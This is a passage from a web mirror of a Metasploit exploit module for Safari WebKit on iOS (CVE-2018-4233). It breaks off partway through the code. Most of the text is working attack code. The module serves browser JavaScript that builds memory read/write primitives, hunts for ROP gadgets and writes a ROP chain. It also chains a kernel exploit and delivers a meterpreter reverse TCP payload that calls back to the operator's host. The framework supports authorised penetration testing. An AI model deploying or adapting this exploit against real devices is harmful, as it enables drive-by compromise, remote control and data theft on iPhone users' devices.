Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/apple_ios/browser/webkit_createthis.rb
19511 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking
8
9
include Msf::Post::File
10
include Msf::Exploit::EXE
11
include Msf::Exploit::Remote::HttpServer
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Safari Webkit Proxy Object Type Confusion',
18
'Description' => %q{
19
This module exploits a type confusion bug in the Javascript Proxy object in
20
WebKit. The DFG JIT does not take into account that, through the use of a Proxy,
21
it is possible to run arbitrary JS code during the execution of a CreateThis
22
operation. This makes it possible to change the structure of e.g. an argument
23
without causing a bailout, leading to a type confusion (CVE-2018-4233).
24
25
The type confusion leads to the ability to allocate fake Javascript objects,
26
as well as the ability to find the address in memory of a Javascript object.
27
This allows us to construct a fake JSCell object that can be used to read
28
and write arbitrary memory from Javascript. The module then uses a ROP chain
29
to write the first stage shellcode into executable memory within the Safari
30
process and kick off its execution.
31
32
The first stage maps the second stage macho (containing CVE-2017-13861) into
33
executable memory, and jumps to its entrypoint. The CVE-2017-13861 async_wake
34
exploit leads to a kernel task port (TFP0) that can read and write arbitrary
35
kernel memory. The processes credential and sandbox structure in the kernel
36
is overwritten and the meterpreter payloads code signature hash is added to
37
the kernels trust cache, allowing Safari to load and execute the (self-signed)
38
meterpreter payload.
39
},
40
'License' => MSF_LICENSE,
41
'Author' => [
42
'saelo',
43
'niklasb',
44
'Ian Beer',
45
'siguza',
46
],
47
'References' => [
48
['CVE', '2018-4233'],
49
['CVE', '2017-13861'],
50
['URL', 'https://github.com/saelo/cve-2018-4233'],
51
['URL', 'https://github.com/phoenhex/files/tree/master/exploits/ios-11.3.1'],
52
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1417'],
53
['URL', 'https://github.com/JakeBlair420/totally-not-spyware/blob/master/root/js/spyware.js'],
54
],
55
'Arch' => ARCH_AARCH64,
56
'Platform' => 'apple_ios',
57
'DefaultTarget' => 0,
58
'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/aarch64/meterpreter_reverse_tcp' },
59
'Targets' => [[ 'Automatic', {} ]],
60
'DisclosureDate' => '2018-03-15',
61
'Notes' => {
62
'Stability' => [ CRASH_SERVICE_DOWN ],
63
'SideEffects' => [ IOC_IN_LOGS ],
64
'Reliability' => [ UNRELIABLE_SESSION ]
65
}
66
)
67
)
68
register_advanced_options([
69
OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information in the exploit JavaScript', false]),
70
OptBool.new('DUMP_OFFSETS', [false, 'Show newly found offsets in a JavaScript prompt', false]),
71
])
72
end
73
74
def payload_url
75
"tcp://#{datastore['LHOST']}:#{datastore['LPORT']}"
76
end
77
78
def get_version(user_agent)
79
if user_agent =~ /OS (.*?) like Mac OS X\)/
80
ios_version = Rex::Version.new(::Regexp.last_match(1).gsub('_', '.'))
81
return ios_version
82
end
83
84
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
85
end
86
87
def get_mem_rw_ios_10
88
%^
89
function get_mem_rw(stage1) {
90
var structs = [];
91
function sprayStructures() {
92
function randomString() {
93
return Math.random().toString(36).replace(/[\^a-z]+/g, "").substr(0, 5)
94
}
95
for (var i = 0; i < 4096; i++) {
96
var a = new Float64Array(1);
97
a[randomString()] = 1337;
98
structs.push(a)
99
}
100
}
101
sprayStructures();
102
var hax = new Uint8Array(4096);
103
var jsCellHeader = new Int64([0, 16, 0, 0, 0, 39, 24, 1]);
104
var container = {
105
jsCellHeader: jsCellHeader.asJSValue(),
106
butterfly: false,
107
vector: hax,
108
lengthAndFlags: (new Int64("0x0001000000000010")).asJSValue()
109
};
110
var address = Add(stage1.addrof(container), 16);
111
var fakearray = stage1.fakeobj(address);
112
while (!(fakearray instanceof Float64Array)) {
113
jsCellHeader.assignAdd(jsCellHeader, Int64.One);
114
container.jsCellHeader = jsCellHeader.asJSValue()
115
}
116
memory = {
117
read: function(addr, length) {
118
fakearray[2] = i2f(addr);
119
var a = new Array(length);
120
for (var i = 0; i < length; i++) a[i] = hax[i];
121
return a
122
},
123
readInt64: function(addr) {
124
return new Int64(this.read(addr, 8))
125
},
126
write: function(addr, data) {
127
fakearray[2] = i2f(addr);
128
for (var i = 0; i < data.length; i++) hax[i] = data[i]
129
},
130
writeInt64: function(addr, val) {
131
return this.write(addr, val.bytes())
132
},
133
};
134
var empty = {};
135
var header = memory.read(stage1.addrof(empty), 8);
136
memory.write(stage1.addrof(container), header);
137
var f64array = new Float64Array(8);
138
header = memory.read(stage1.addrof(f64array), 16);
139
memory.write(stage1.addrof(fakearray), header);
140
memory.write(Add(stage1.addrof(fakearray), 24), [16, 0, 0, 0, 1, 0, 0, 0]);
141
fakearray.container = container;
142
return memory;
143
}
144
^
145
end
146
147
def get_mem_rw_ios_11
148
%^
149
function get_mem_rw(stage1) {
150
var FPO = typeof(SharedArrayBuffer) === 'undefined' ? 0x18 : 0x10;
151
var structure_spray = []
152
for (var i = 0; i < 1000; ++i) {
153
var ary = {a:1,b:2,c:3,d:4,e:5,f:6,g:0xfffffff}
154
ary['prop'+i] = 1
155
structure_spray.push(ary)
156
}
157
var manager = structure_spray[500]
158
var leak_addr = stage1.addrof(manager)
159
//print('leaking from: '+ hex(leak_addr))
160
function alloc_above_manager(expr) {
161
var res
162
do {
163
for (var i = 0; i < ALLOCS; ++i) {
164
structure_spray.push(eval(expr))
165
}
166
res = eval(expr)
167
} while (stage1.addrof(res) < leak_addr)
168
return res
169
}
170
var unboxed_size = 100
171
var unboxed = alloc_above_manager('[' + '13.37,'.repeat(unboxed_size) + ']')
172
var boxed = alloc_above_manager('[{}]')
173
var victim = alloc_above_manager('[]')
174
// Will be stored out-of-line at butterfly - 0x10
175
victim.p0 = 0x1337
176
function victim_write(val) {
177
victim.p0 = val
178
}
179
function victim_read() {
180
return victim.p0
181
}
182
i32[0] = 0x200 // Structure ID
183
i32[1] = 0x01082007 - 0x10000 // Fake JSCell metadata, adjusted for boxing
184
var outer = {
185
p0: 0, // Padding, so that the rest of inline properties are 16-byte aligned
186
p1: f64[0],
187
p2: manager,
188
p3: 0xfffffff, // Butterfly indexing mask
189
}
190
var fake_addr = stage1.addrof(outer) + FPO + 0x8;
191
//print('fake obj @ ' + hex(fake_addr))
192
var unboxed_addr = stage1.addrof(unboxed)
193
var boxed_addr = stage1.addrof(boxed)
194
var victim_addr = stage1.addrof(victim)
195
//print('leak ' + hex(leak_addr)
196
//+ ' unboxed ' + hex(unboxed_addr)
197
//+ ' boxed ' + hex(boxed_addr)
198
//+ ' victim ' + hex(victim_addr))
199
var holder = {fake: {}}
200
holder.fake = stage1.fakeobj(fake_addr)
201
// From here on GC would be uncool
202
// Share a butterfly for easier boxing/unboxing
203
var shared_butterfly = f2i(holder.fake[(unboxed_addr + 8 - leak_addr) / 8])
204
var boxed_butterfly = holder.fake[(boxed_addr + 8 - leak_addr) / 8]
205
holder.fake[(boxed_addr + 8 - leak_addr) / 8] = i2f(shared_butterfly)
206
var victim_butterfly = holder.fake[(victim_addr + 8 - leak_addr) / 8]
207
function set_victim_addr(where) {
208
holder.fake[(victim_addr + 8 - leak_addr) / 8] = i2f(where + 0x10)
209
}
210
function reset_victim_addr() {
211
holder.fake[(victim_addr + 8 - leak_addr) / 8] = victim_butterfly
212
}
213
var stage2 = {
214
addrof: function(victim) {
215
boxed[0] = victim
216
return f2i(unboxed[0])
217
},
218
fakeobj: function(addr) {
219
unboxed[0] = i2f(addr)
220
return boxed[0]
221
},
222
write64: function(where, what) {
223
set_victim_addr(where)
224
victim_write(this.fakeobj(what))
225
reset_victim_addr()
226
},
227
read64: function(where) {
228
set_victim_addr(where)
229
var res = this.addrof(victim_read())
230
reset_victim_addr()
231
return res;
232
},
233
write_non_zero: function(where, values) {
234
for (var i = 0; i < values.length; ++i) {
235
if (values[i] != 0)
236
this.write64(where + i*8, values[i])
237
}
238
},
239
readInt64: function(where) {
240
if (where instanceof Int64) {
241
where = Add(where, 0x10);
242
holder.fake[(victim_addr + 8 - leak_addr) / 8] = where.asDouble();
243
} else {
244
set_victim_addr(where);
245
}
246
boxed[0] = victim_read();
247
var res = f2i(unboxed[0]);
248
reset_victim_addr();
249
return new Int64(res);
250
},
251
read: function(addr, length) {
252
var address = new Int64(addr);
253
var a = new Array(length);
254
var i;
255
256
for (i = 0; i + 8 < length; i += 8) {
257
v = this.readInt64(Add(address, i)).bytes()
258
for (var j = 0; j < 8; j++) {
259
a[i+j] = v[j];
260
}
261
}
262
263
v = this.readInt64(Add(address, i)).bytes()
264
for (var j = i; j < length; j++) {
265
a[j] = v[j - i];
266
}
267
268
return a
269
},
270
test: function() {
271
this.write64(boxed_addr + 0x10, 0xfff) // Overwrite index mask, no biggie
272
if (0xfff != this.read64(boxed_addr + 0x10)) {
273
fail(2)
274
}
275
},
276
}
277
// Test read/write
278
stage2.test()
279
return stage2;
280
}
281
^
282
end
283
284
# rubocop:disable Metrics/MethodLength
285
def on_request_uri(cli, request)
286
return if request.uri =~ %r{/apple-touch-icon*}
287
return if request.uri =~ %r{/favicon*}
288
289
if request.uri =~ %r{/payload10$*}
290
payload_data = MetasploitPayloads::Mettle.new('aarch64-iphone-darwin').to_binary :dylib_sha1
291
send_response(cli, payload_data, { 'Content-Type' => 'application/octet-stream' })
292
print_good('Sent sha1 iOS 10 payload')
293
return
294
end
295
296
if request.uri =~ %r{/payload11$*}
297
payload_data = MetasploitPayloads::Mettle.new('aarch64-iphone-darwin').to_binary :dylib
298
send_response(cli, payload_data, { 'Content-Type' => 'application/octet-stream' })
299
print_good('Sent sha256 iOS 11 payload')
300
return
301
end
302
303
user_agent = request['User-Agent']
304
print_status("Requesting #{request.uri} from #{user_agent}")
305
306
if request.uri =~ %r{/exploit$}
307
loader_data = exploit_data('CVE-2017-13861', 'exploit')
308
srvhost = Rex::Socket.resolv_nbo_i(srvhost_addr)
309
config = [srvhost, srvport].pack('Nn') + payload_url
310
payload_url_index = loader_data.index('PAYLOAD_URL')
311
loader_data[payload_url_index, config.length] = config
312
print_good('Sent async_wake exploit')
313
send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })
314
return
315
end
316
317
dump_offsets = ''
318
if datastore['DUMP_OFFSETS']
319
dump_offsets = %^
320
var offsetstr = uuid + " : { ";
321
var offsetarray = [ "_dlsym", "_dlopen", "__longjmp", "regloader", "dispatch", "stackloader", "movx4", "ldrx8", "_mach_task_self_", "__kernelrpc_mach_vm_protect_trap", "__platform_memmove",
322
"__ZN3JSC30endOfFixedExecutableMemoryPoolE", "__ZN3JSC29jitWriteSeparateHeapsFunctionE", "__ZN3JSC32startOfFixedExecutableMemoryPoolE", ];
323
for (var i = 0; i < offsetarray.length; i++) {
324
var offset = offsets[offsetarray[i]];
325
if (offset) {
326
var offsethex = Sub(offset, cache_slide).toString().replace("0x0000000", "0x");
327
offsetstr += "\\"" + offsetarray[i] + "\\" : " + offsethex + ", ";
328
}
329
}
330
offsetstr += "}, ";
331
prompt("offsets: ", offsetstr);
332
^
333
end
334
335
version = get_version(user_agent)
336
ios_11 = (version >= Rex::Version.new('11.0.0'))
337
338
get_mem_rw = (version >= Rex::Version.new('11.2.2')) ? get_mem_rw_ios_11 : get_mem_rw_ios_10
339
340
utils = exploit_data('javascript_utils', 'utils.js')
341
int64 = exploit_data('javascript_utils', 'int64.js')
342
343
html = %^
344
<html>
345
<body>
346
<script>
347
348
#{utils}
349
#{int64}
350
351
print = alert;
352
ITERS = 1E4;
353
ALLOCS = 1E3;
354
355
var conversion_buffer = new ArrayBuffer(8);
356
var f64 = new Float64Array(conversion_buffer);
357
var i32 = new Uint32Array(conversion_buffer);
358
var BASE32 = 0x100000000;
359
360
function f2i(f) {
361
f64[0] = f;
362
return i32[0] + BASE32 * i32[1];
363
}
364
365
function i2f(i) {
366
i32[0] = i % BASE32;
367
i32[1] = i / BASE32;
368
return f64[0];
369
}
370
371
function hexit(x) {
372
if (x instanceof Int64) return x.toString();
373
if (x < 0) return "-" + hex(-x);
374
return "0x" + x.toString(16);
375
}
376
377
function fail(x) {
378
print('FAIL ' + x);
379
location.reload();
380
throw null;
381
}
382
383
counter = 0;
384
385
// CVE-2018-4233
386
function trigger(constr, modify, res, val) {
387
return eval(`
388
var o = [13.37]
389
var Constructor${counter} = function(o) { ${constr} }
390
var hack = false
391
var Wrapper = new Proxy(Constructor${counter}, {
392
get: function() {
393
if (hack) {
394
${modify}
395
}
396
}
397
})
398
for (var i = 0; i < ITERS; ++i)
399
new Wrapper(o)
400
hack = true
401
var bar = new Wrapper(o)
402
${res}
403
`)
404
}
405
406
var workbuf = new ArrayBuffer(0x1000000);
407
var payload = new Uint8Array(workbuf);
408
409
function pwn() {
410
var stage1 = {
411
addrof: function(victim) {
412
return f2i(trigger("this.result = o[0]", "o[0] = val", "bar.result", victim))
413
},
414
fakeobj: function(addr) {
415
return trigger("o[0] = val", "o[0] = {}", "o[0]", i2f(addr))
416
},
417
test: function() {
418
var addr = this.addrof({
419
a: 4919
420
});
421
var x = this.fakeobj(addr);
422
if (x.a != 4919) fail("stage1")
423
}
424
};
425
stage1.test();
426
427
var stage2 = get_mem_rw(stage1);
428
var FPO = #{ios_11 ? "(typeof(SharedArrayBuffer) === 'undefined') ? 0x20 : 0x18;" : '0x18;'}
429
var memory = stage2;
430
memory.u32 = _u32;
431
432
var wrapper = document.createElement("div");
433
var wrapper_addr = stage1.addrof(wrapper);
434
var el_addr = memory.readInt64(wrapper_addr + FPO);
435
var vtab = memory.readInt64(el_addr);
436
437
var anchor = memory.readInt64(vtab);
438
var hdr = Sub(anchor, anchor.lo() & 0xfff);
439
var b = [];
440
while(true)
441
{
442
if (memory.readInt64(hdr).lo() == 4277009104) {
443
fail('WebCore ' + hdr + ' post spectre support coming soon');
444
}
445
if(strcmp(memory.read(hdr, 0x10), "dyld_v1 arm64"))
446
{
447
break;
448
}
449
hdr = Sub(hdr, 0x1000);
450
}
451
452
var base_seg = null;
453
var nsegs = memory.u32(Add(hdr, 0x14));
454
var segdata = memory.read(Add(hdr, memory.u32(Add(hdr, 0x10))), nsegs * 0x20);
455
var segs = [];
456
for(var i = 0; i < nsegs; ++i)
457
{
458
var off = i * 0x20;
459
var seg =
460
{
461
addr: new Int64(segdata.slice(off + 0x0, off + 0x8)),
462
size: new Int64(segdata.slice(off + 0x8, off + 0x10)),
463
fileoff: new Int64(segdata.slice(off + 0x10, off + 0x18)),
464
maxprot: b2u32(segdata.slice(off + 0x18, off + 0x1c)),
465
initprot: b2u32(segdata.slice(off + 0x1c, off + 0x20))
466
};
467
segs.push(seg);
468
if(seg.fileoff.hi() == 0 && seg.fileoff.lo() == 0 && (seg.size.hi() != 0 || seg.size.lo() != 0))
469
{
470
base_seg = seg;
471
}
472
}
473
if(base_seg == null)
474
{
475
fail("base_seg");
476
}
477
478
var cache_slide = Sub(hdr, base_seg.addr);
479
var uuid = memory.readInt64(Add(hdr, 0x58)).lo();
480
var offset_cache = {
481
// iPod Touch 10.1.1
482
788795426 : { "_dlsym" : 0x18052ddd8, "_dlopen" : 0x18052dd10, "__longjmp" : 0x1806ffb78, "regloader" : 0x180f0622c, "dispatch" : 0x180d7e058, "stackloader" : 0x18099a8e8, "_mach_task_self_" : 0x1a586e3bc,
483
"__kernelrpc_mach_vm_protect_trap" : 0x1806240a4, "__platform_memmove" : 0x1806ffe00, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1a457c438, },
484
485
// iPhone 5S 10.2.1
486
3432281541 : { "_dlsym" : 0x18052edd8, "_dlopen" : 0x18052ed10, "__longjmp" : 0x180700b78, "regloader" : 0x180f07230, "dispatch" : 0x180d7f05c, "stackloader" : 0x18099b8ec, "mach_task_self" : 0x1a6da23bc,
487
"__kernelrpc_mach_vm_protect_trap" : 0x1806250c0, "__platform_memmove" : 0x180700e00, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1a5a0d438, },
488
489
// iPhone 6S 11.0.3
490
425478416 : { "_dlsym" : 0x180587574, "_dlopen" : 0x180587460, "__longjmp" : 0x1807bd7dc, "regloader" : 0x180051ad8, "dispatch" : 0x19b323a4c, "stackloader" : 0x19b2e6f40, "movx4" : 0x19b33305c,
491
"ldrx8" : 0x180060028, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1b15d8a00, "__ZN3JSC29jitWriteSeparateHeapsFunctionE" : 0x1b15d8a08, "__ZN3JSC32startOfFixedExecutableMemoryPoolE" : 0x1b15d89f8, },
492
};
493
494
var offsets = offset_cache[uuid];
495
if (offsets)
496
{
497
var k = Object.keys(offsets);
498
for(var i = 0; i < k.length; ++i)
499
{
500
var s = k[i];
501
offsets[s] = Add(offsets[s], cache_slide);
502
}
503
}
504
else
505
{
506
var syms = {};
507
var gadgets = {};
508
509
for(var i = 0; i < segs.length; ++i)
510
{
511
segs[i].addr = Add(segs[i].addr, cache_slide);
512
}
513
var libs =
514
{
515
"/usr/lib/system/libdyld.dylib": ["_dlsym", "_dlopen"],
516
#{ if ios_11
517
'
518
"/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore": ["__ZN3JSC29jitWriteSeparateHeapsFunctionE"],
519
"/usr/lib/system/libsystem_platform.dylib": ["__longjmp"],
520
'
521
else
522
'
523
"/usr/lib/system/libsystem_platform.dylib": ["__longjmp", "__platform_memmove"],
524
"/usr/lib/system/libsystem_kernel.dylib": ["_mach_task_self_", "__kernelrpc_mach_vm_protect_trap"],
525
"/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore": ["__ZN3JSC30endOfFixedExecutableMemoryPoolE"],
526
'
527
end}
528
}
529
530
#{ if ios_11
531
'
532
var opcodes = {
533
// ldr x8, [sp] ; str x8, [x19] ; ldp x29, x30, [sp, #0x20] ; ldp x20, x19, [sp, #0x10] ; add sp, sp, #0x30 ; ret
534
"ldrx8": [ [0xf94003e8, 0xf9000268, 0xa9427bfd, 0xa9414ff4, 0x9100c3ff, 0xd65f03c0] ],
535
// blr x21; ldp x29, x30, [sp, 0x30]; ldp x20, x19, [sp, 0x20]; ldp x22, x21, [sp, 0x10]; add sp, sp, 0x40; ret
536
"dispatch": [ [ 0xd63f02a0, 0xa9437bfd, 0xa9424ff4, 0xa94157f6, 0x910103ff, 0xd65f03c0 ] ],
537
// mov x3, x22 ; mov x6, x27 ; mov x0, x24 ; mov x1, x19 ; mov x2, x23 ; ldr x4, [sp] ; blr x8
538
"regloader": [ [ 0xaa1603e3, 0xaa1b03e6, 0xaa1803e0, 0xaa1303e1, 0xaa1703e2, 0xf94003e4, 0xd63f0100 ] ],
539
// ldp x29, x30, [sp, 0x60]; ldp x20, x19, [sp, 0x50]; ldp x22, x21, [sp, 0x40]; ldp x24, x23, [sp, 0x30];
540
// ldp x26, x25, [sp, 0x20]; ldp x28, x27, [sp, 0x10]; add sp, sp, 0x70; ret
541
"stackloader": [ [ 0xa9467bfd, 0xa9454ff4, 0xa94457f6, 0xa9435ff8, 0xa94267fa, 0xa9416ffc, 0x9101c3ff, 0xd65f03c0 ] ],
542
// mov x4, x20 ; blr x8
543
"movx4": [ [ 0xaa1403e4, 0xd63f0100 ] ],
544
}
545
var opcode_libs = [
546
"/usr/lib/PN548.dylib", // dispatch, stackloader
547
"/usr/lib/libc++.1.dylib", // ldrx8, regloader, movx4, stackloader
548
];
549
550
'
551
else
552
'
553
var opcodes = {
554
// mov x0, x23; mov x1, x22; mov x2, x24; mov x3, x25; mov x4, x26; mov x5, x27; blr x28
555
"regloader": [ [ 0xaa1703e0, 0xaa1603e1, 0xaa1803e2, 0xaa1903e3, 0xaa1a03e4, 0xaa1b03e5, 0xd63f0380 ] ],
556
"dispatch": [
557
// blr x21; ldp x29, x30, [sp, 0x30]; ldp x20, x19, [sp, 0x20]; ldp x22, x21, [sp, 0x10]; add sp, sp, 0x40; ret
558
[ 0xd63f02a0, 0xa9437bfd, 0xa9424ff4, 0xa94157f6, 0x910103ff, 0xd65f03c0 ],
559
// blr x21; sub sp, x29, 0x20; ldp x29, x30, [sp, 0x20]; ldp x20, x19, [sp, 0x10]; ldp x22, x21, [sp], 0x30; ret
560
[ 0xd63f02a0, 0xd10083bf, 0xa9427bfd, 0xa9414ff4, 0xa8c357f6, 0xd65f03c0 ],
561
],
562
"stackloader": [
563
// ldp x29, x30, [sp, 0x60]; ldp x20, x19, [sp, 0x50]; ldp x22, x21, [sp, 0x40]; ldp x24, x23, [sp, 0x30];
564
// ldp x26, x25, [sp, 0x20]; ldp x28, x27, [sp, 0x10]; add sp, sp, 0x70; ret
565
[ 0xa9467bfd, 0xa9454ff4, 0xa94457f6, 0xa9435ff8, 0xa94267fa, 0xa9416ffc, 0x9101c3ff, 0xd65f03c0 ],
566
// sub sp, x29, 0x50; ldp x29, x30, [sp, 0x50]; ldp x20, x19, [sp, 0x40]; ldp x22, x21, [sp, 0x30];
567
// ldp x24, x23, [sp, 0x20]; ldp x26, x25, [sp, 0x10]; ldp x28, x27, [sp], 0x60; ret
568
[ 0xd10143bf, 0xa9457bfd, 0xa9444ff4, 0xa94357f6, 0xa9425ff8, 0xa94167fa, 0xa8c66ffc, 0xd65f03c0 ],
569
],
570
};
571
572
var opcode_libs = [ "/usr/lib/libLLVM.dylib" ];
573
'
574
end}
575
576
var imgs = Add(hdr, memory.u32(Add(hdr, 0x18)));
577
var nimgs = memory.u32(Add(hdr, 0x1c));
578
for(var i = 0; i < nimgs; ++i)
579
{
580
var straddr = off2addr(segs, memory.u32(Add(imgs, i * 0x20 + 0x18)));
581
var fn = function(i)
582
{
583
return memory.read(Add(straddr, i), 1)[0];
584
};
585
var base = Add(memory.readInt64(Add(imgs, i * 0x20)), cache_slide);
586
if(opcode_libs.some(lib => strcmp(fn, lib)))
587
{
588
var ncmds = memory.u32(Add(base, 0x10));
589
for(var j = 0, off = 0x20; j < ncmds; ++j)
590
{
591
var cmd = memory.u32(Add(base, off));
592
if(cmd == 0x19 && strcmp(memory.read(Add(base, off + 0x8), 0x10), "__TEXT")) // LC_SEGMENT_64
593
{
594
var nsects = memory.u32(Add(base, off + 0x40));
595
for(var k = 0, o = off + 0x48; k < nsects; ++k)
596
{
597
if(strcmp(memory.read(Add(base, o), 0x10), "__text"))
598
{
599
var keys = Object.keys(opcodes).filter(k=>!gadgets.hasOwnProperty[k])
600
if (keys.length == 0) break;
601
602
var addr = Add(memory.readInt64(Add(base, o + 0x20)), cache_slide)
603
var size = memory.u32(Add(base, o + 0x28))
604
605
// Copy the entire __text region into a Uint32Array for faster processing.
606
// Previously you could map a Uint32Array over the data, but on i7+ devices
607
// this caused access violations.
608
// Instead we read the entire region and copy it into a Uint32Array. The
609
// memory.read primitive has a weird limitation where it's only able to read
610
// up to 4096 bytes. to get around this we'll read multiple times and combine
611
// them into one.
612
613
var allData = new Uint32Array(size / 4)
614
for (var r = 0; r < size; r += 4096) {
615
// Check to ensure we don't read out of the region we want
616
var qty = 4096
617
if (size - r < qty) {
618
qty = size - r
619
}
620
var data = memory.read(Add(addr, r), qty)
621
622
// Data is an array of single bytes. This code takes four entries
623
// and converts them into a single 32-bit integer. It then adds it
624
// into the `allData` array at the given index
625
for (var h = 0; h < qty; h += 4) {
626
var fourBytes = b2u32(data.slice(h, h + 4))
627
allData[(r + h) / 4] = fourBytes
628
}
629
}
630
631
// Loop through the entire data map looking for each gadget we need
632
for (var f = 0; f < size && keys.length > 0; f++) {
633
634
// Check every gadget
635
for (var z = 0; z < keys.length; z++) {
636
var key = keys[z];
637
var opcode_list = opcodes[key];
638
for (var y = 0; y < opcode_list.length; y++) {
639
var opcode = opcode_list[y];
640
for (var t = 0; t < opcode.length; t++) {
641
var op = allData[f+t];
642
if (op == opcode[t]) {
643
if (t == opcode.length - 1) {
644
gadgets[key] = Add(addr, f*4);
645
keys.splice(z, 1);
646
z = keys.length;
647
break;
648
}
649
continue;
650
}
651
break;
652
}
653
}
654
}
655
}
656
657
break;
658
}
659
o += 0x50;
660
}
661
break;
662
}
663
off += memory.u32(Add(base, off + 0x4));
664
}
665
continue;
666
}
667
var lookup = null;
668
for(var k = Object.keys(libs), j = 0; j < k.length; ++j)
669
{
670
if(strcmp(fn, k[j]))
671
{
672
lookup = libs[k[j]];
673
break;
674
}
675
}
676
if(lookup != null)
677
{
678
fsyms(memory, base, segs, lookup, syms);
679
}
680
}
681
682
var vals = Object.keys(libs).map(function(key) {
683
return libs[key];
684
});
685
var k = vals.reduce(function(p,c){ c.forEach(function(e){ p.push(e) });return p; }, []);
686
for(var i = 0; i < k.length; ++i)
687
{
688
var s = k[i];
689
if(syms[s] == null)
690
{
691
fail(s);
692
}
693
syms[s] = Add(syms[s], cache_slide);
694
}
695
k = Object.keys(opcodes);
696
for(var i = 0; i < k.length; ++i)
697
{
698
var s = k[i];
699
if(gadgets[s] == null)
700
{
701
fail(s);
702
}
703
}
704
705
offsets = {}
706
offsets["regloader"] = gadgets["regloader"];
707
offsets["dispatch"] = gadgets["dispatch"];
708
offsets["stackloader"] = gadgets["stackloader"];
709
offsets["ldrx8"] = gadgets["ldrx8"];
710
offsets["movx4"] = gadgets["movx4"];
711
offsets["__longjmp"] = syms["__longjmp"];
712
offsets["__kernelrpc_mach_vm_protect_trap"] = syms["__kernelrpc_mach_vm_protect_trap"];
713
offsets["__platform_memmove"] = syms["__platform_memmove"];
714
offsets["_dlopen"] = syms["_dlopen"];
715
offsets["_dlsym"] = syms["_dlsym"];
716
offsets["_mach_task_self_"] = syms["_mach_task_self_"];
717
offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] = syms["__ZN3JSC32startOfFixedExecutableMemoryPoolE"];
718
offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] = syms["__ZN3JSC30endOfFixedExecutableMemoryPoolE"];
719
offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"] = syms["__ZN3JSC29jitWriteSeparateHeapsFunctionE"];
720
721
if (offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] == null && offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"] != null) {
722
offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] = Sub(offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"], 8);
723
}
724
#{ if ios_11
725
'
726
if (offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] == null && offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] != null) {
727
offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] = Sub(offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"], 8);
728
}'
729
end}
730
731
#{dump_offsets}
732
733
}
734
735
736
var regloader = offsets["regloader"];
737
var dispatch = offsets["dispatch"];
738
var stackloader = offsets["stackloader"];
739
var longjmp = offsets["__longjmp"];
740
var mach_vm_protect = offsets["__kernelrpc_mach_vm_protect_trap"];
741
var memmove = offsets["__platform_memmove"];
742
var dlopen = offsets["_dlopen"];
743
var dlsym = offsets["_dlsym"];
744
var task_self = offsets["_mach_task_self_"]
745
var endOfFixedMem = offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"];
746
var startOfFixedMem = offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"];
747
748
var ldrx8 = offsets["ldrx8"]; // might be null
749
var movx4 = offsets["movx4"]; // might be null
750
751
var mach_task_self_ = new Int64(memory.readInt64(task_self).lo());
752
var memPoolEnd = memory.readInt64(endOfFixedMem);
753
754
var memPoolStart = Int64.Zero;
755
if (startOfFixedMem) {
756
memPoolStart = memory.readInt64(startOfFixedMem);
757
}
758
759
var jitWriteSeparateHeaps = Int64.Zero;
760
if (offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"]) {
761
jitWriteSeparateHeaps = memory.readInt64(offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"]);
762
}
763
764
var shsz = new Int64("0x100000");
765
var paddr = memory.readInt64(Add(stage1.addrof(payload), 0x10));
766
var codeAddr = Sub(memPoolEnd, shsz);
767
codeAddr = Sub(codeAddr, codeAddr.lo() & 0x3fff);
768
769
memory.writeInt64(Add(vtab, 0x18), longjmp);
770
memory.writeInt64(Add(el_addr, 0x58), stackloader); // x30 (gadget)
771
772
var arrsz = 0x100000,
773
off = 0x1000;
774
var arr = new Uint32Array(arrsz);
775
var stack = memory.readInt64(Add(stage1.addrof(arr), 0x10));
776
777
var pos = arrsz - off;
778
779
var add_call_llvm = function(func, x0, x1, x2, x3, x4, jump_to) {
780
x4 = x4 || Int64.Zero
781
782
// in stackloader:
783
arr[pos++] = 0xdead0010; // unused
784
arr[pos++] = 0xdead0011; // unused
785
arr[pos++] = 0xdead0012; // unused
786
arr[pos++] = 0xdead0013; // unused
787
arr[pos++] = dispatch.lo(); // x28 (gadget for regloader)
788
arr[pos++] = dispatch.hi(); // x28 (gadget for regloader)
789
arr[pos++] = 0xdead0014; // x27 (unused)
790
arr[pos++] = 0xdead0015; // x27 (unused)
791
arr[pos++] = x4.lo(); // x26 == x4 (arg5)
792
arr[pos++] = x4.hi(); // x26 == x4 (arg5)
793
arr[pos++] = x3.lo(); // x25 == x3 (arg4)
794
arr[pos++] = x3.hi(); // x25 == x3 (arg4)
795
arr[pos++] = x2.lo(); // x24 == x2 (arg3)
796
arr[pos++] = x2.hi(); // x24 == x2 (arg3)
797
arr[pos++] = x0.lo(); // x23 == x0 (arg1)
798
arr[pos++] = x0.hi(); // x23 == x0 (arg1)
799
